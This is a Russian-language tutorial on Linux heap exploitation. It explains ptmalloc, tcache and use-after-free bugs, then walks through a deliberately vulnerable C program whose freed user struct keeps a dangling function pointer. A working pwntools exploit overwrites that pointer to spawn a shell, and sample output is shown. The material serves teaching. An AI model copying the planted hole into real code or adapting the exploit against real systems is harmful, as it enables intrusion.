
101
Эй, хакеры! Сегодня мы вскроем одну из самых сочных тем в бинарной эксплуатации — Heap Exploitation. Забудьте про скучные лекции. Мы разберем, как работает куча в Linux, найдем уязвимость Use-After-Free (UAF) и напишем эксплойт, который даст нам заветный шелл. Хардкор, код и чистая практика. Погнали.
Когда твоя программа просит память на лету, она не берет ее из воздуха. Она обращается к ядру за большим куском, а потом менеджер памяти (аллокатор) нарезает его на части по запросу. В мире glibc (стандартной библиотеки C в Linux) этим заведует ptmalloc (pthreads malloc).
Как это работает на пальцах:
malloc(size): Ты просишь size байт. ptmalloc ищет у себя в закромах подходящий свободный кусок (чанк). Если находит — отдает тебе указатель. Если нет — просит еще памяти у ОС.free(ptr): Ты говоришь: “Больше не нужно”. ptmalloc не возвращает память ядру сразу. Он помечает чанк как свободный и кладет его в специальный “контейнер” — бин (bin). Так он может быстро переиспользовать этот чанк для следующего malloc.Чанки и Бины — основа основ
Каждый кусок памяти, которым управляет malloc, — это чанк. У него есть служебная информация (метаданные), где хранится его размер и флаги, и область для твоих данных.
Свободные чанки хранятся в бинах, отсортированные по размеру. Для нас сейчас важны два типа:
malloc того же размера. Это наша главная точка атаки.Ключевая идея для эксплойта: когда чанк попадает в tcache, в его пользовательскую область записывается указатель (fd — forward pointer) на следующий свободный чанк в этом же бине. Если мы сможем контролировать данные в освобожденном чанке, мы сможем подменить этот указатель.
Use-After-Free (UAF) — это классика. Ошибка настолько простая в своей сути, насколько и смертоносная.
free().В этот момент ты обращаешься к памяти, которая уже считается свободной. Аллокатор может отдать этот кусок памяти кому-то другому, и ты, используя старый указатель, будешь писать в чужие данные. Или, что еще круче, кто-то другой запишет данные туда, где ты ожидаешь увидеть свою старую структуру. И вот тут начинается магия.
Хватит теории. Вот наш подопытный — простая программа на C, имитирующая работу с пользователями. В ней заложена бомба замедленного действия.
vuln.c
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
#include <stdio.h> #include <stdlib.h> #include <string.h> // Наша "полезная" функция. Цель - вызвать её. void win() { printf("PWNED! You got a shell.\n"); system("/bin/sh"); } // Стандартная функция, которая должна вызываться. void normal_func() { printf("Executing normal function...\n"); } // Структура пользователя. Содержит буфер и указатель на функцию. struct User { char name[16]; void (*login_func)(); }; // Глобальные указатели для симуляции работы с объектами. struct User *user = NULL; char *data_chunk = NULL; void create_user() { printf("Creating user...\n"); user = (struct User *)malloc(sizeof(struct User)); strcpy(user->name, "guest"); user->login_func = normal_func; printf("User created at %p\n", user); } void delete_user() { printf("Deleting user...\n"); free(user); // УЯЗВИМОСТЬ: указатель 'user' не обнуляется! Он всё ещё указывает на освобождённую память. printf("User deleted.\n"); } void login() { if (user) { printf("Logging in user %s...\n", user->name); user->login_func(); // Вызываем функцию по указателю. } else { printf("No user to log in.\n"); } } void write_data() { printf("Allocating data chunk...\n"); // Выделяем чанк того же размера, что и 'struct User' data_chunk = (char *)malloc(sizeof(struct User)); printf("Enter data for the new chunk: "); // Читаем данные с stdin. Тут мы и подсунем наш payload. read(0, data_chunk, sizeof(struct User)); printf("Data chunk allocated at %p with new data.\n", data_chunk); } int main() { setbuf(stdout, NULL); setbuf(stdin, NULL); int choice; while (1) { printf("\n--- Menu ---\n"); printf("1. Create User\n"); printf("2. Delete User\n"); printf("3. Login\n"); printf("4. Write Data\n"); printf("5. Exit\n"); printf(">> "); scanf("%d", &choice); switch (choice) { case 1: create_user(); break; case 2: delete_user(); break; case 3: login(); break; case 4: write_data(); break; case 5: return 0; default: printf("Invalid choice.\n"); } } return 0; } |
Компилируем без защит:
gcc -o vuln vuln.c -no-pie -fno-stack-protector
-no-pie: Отключает Position-Independent Executable, чтобы адреса функций (вроде win) были фиксированными.-fno-stack-protector: Отключает защиту стека, на всякий случай, хотя мы ее тут и не трогаем.Теперь самое интересное. Как превратить эту UAF в шелл?
План атаки:
malloc выделит чанк под struct User. В нем будет имя “guest” и указатель на normal_func.free(user) освободит чанк. Он попадет в голову tcache-бина для своего размера. Указатель user теперь “висячий”, но все еще указывает на это место.malloc с тем же размером sizeof(struct User). ptmalloc (благодаря tcache) немедленно вернет нам тот же самый чанк, который мы только что освободили.read попросит нас ввести данные. Мы должны ввести специальным образом подготовленную строку, которая:
win(). Мы перезапишем старое значение user->login_func.login(). Программа использует “висячий” указатель user, который теперь указывает на наши данные. Она доходит до user->login_func() и… вызывает win(), потому что мы подменили указатель!Пишем эксплойт на Python с помощью pwntools
Это удобнее, чем делать вручную. Сначала нам нужно узнать адрес функции win.
objdump -t vuln | grep win
Вывод будет примерно таким: 00000000004011e6 g F .text 0000000000000029 win
Наш адрес — 0x4011e6.
exploit.py
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
from pwn import * # Контекст для нашей архитектуры (64-битный Linux) context.update(arch='amd64', os='linux') # Запускаем уязвимую программу p = process('./vuln') # Получаем адрес функции win из ELF файла elf = ELF('./vuln') win_addr = elf.symbols['win'] log.info(f"Address of win() found at: {hex(win_addr)}") # --- Шаг 1: Создаем пользователя --- p.sendlineafter(b'>> ', b'1') log.info("Step 1: User created.") # --- Шаг 2: Удаляем пользователя (создаем UAF) --- p.sendlineafter(b'>> ', b'2') log.info("Step 2: User deleted. UAF is live.") # --- Шаг 3: Выделяем новый чанк того же размера --- p.sendlineafter(b'>> ', b'4') log.info("Step 3: Allocating a new chunk of the same size.") # --- Шаг 4: Формируем и отправляем пейлоад --- # Пейлоад: 16 байт мусора (для поля 'name') + 8 байт адреса win() payload = b'A' * 16 + p64(win_addr) p.sendlineafter(b'Enter data for the new chunk: ', payload) log.info("Step 4: Payload sent to overwrite the function pointer.") # --- Шаг 5: Вызываем "старую" функцию --- p.sendlineafter(b'>> ', b'3') log.info("Step 5: Calling login() to trigger the overwritten pointer.") # Переходим в интерактивный режим, чтобы получить шелл p.interactive() |
Запускаем эксплойт:
python3 exploit.py
Если все сделано правильно, ты увидишь заветное:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
[*] Address of win() found at: 0x4011e6 [*] Step 1: User created. [*] Step 2: User deleted. UAF is live. [*] Step 3: Allocating a new chunk of the same size. [*] Step 4: Payload sent to overwrite the function pointer. [*] Step 5: Calling login() to trigger the overwritten pointer. [*] Switching to interactive mode Logging in user AAAAAAAAAAAAAAAA... PWNED! You got a shell. $ ls exploit.py vuln vuln.c $ whoami hacker |
Вот и все. Мы только что использовали логическую ошибку в коде, чтобы обмануть менеджер памяти, перезаписать указатель на функцию и выполнить произвольный код. Это и есть вся суть heap exploitation — контроль над хаосом выделения памяти. Теперь у тебя есть база. Экспериментируй, копай глубже, изучай другие техники (tcache poisoning, fastbin attack, unsorted bin attack) — и ломай все, что движется. Удачи.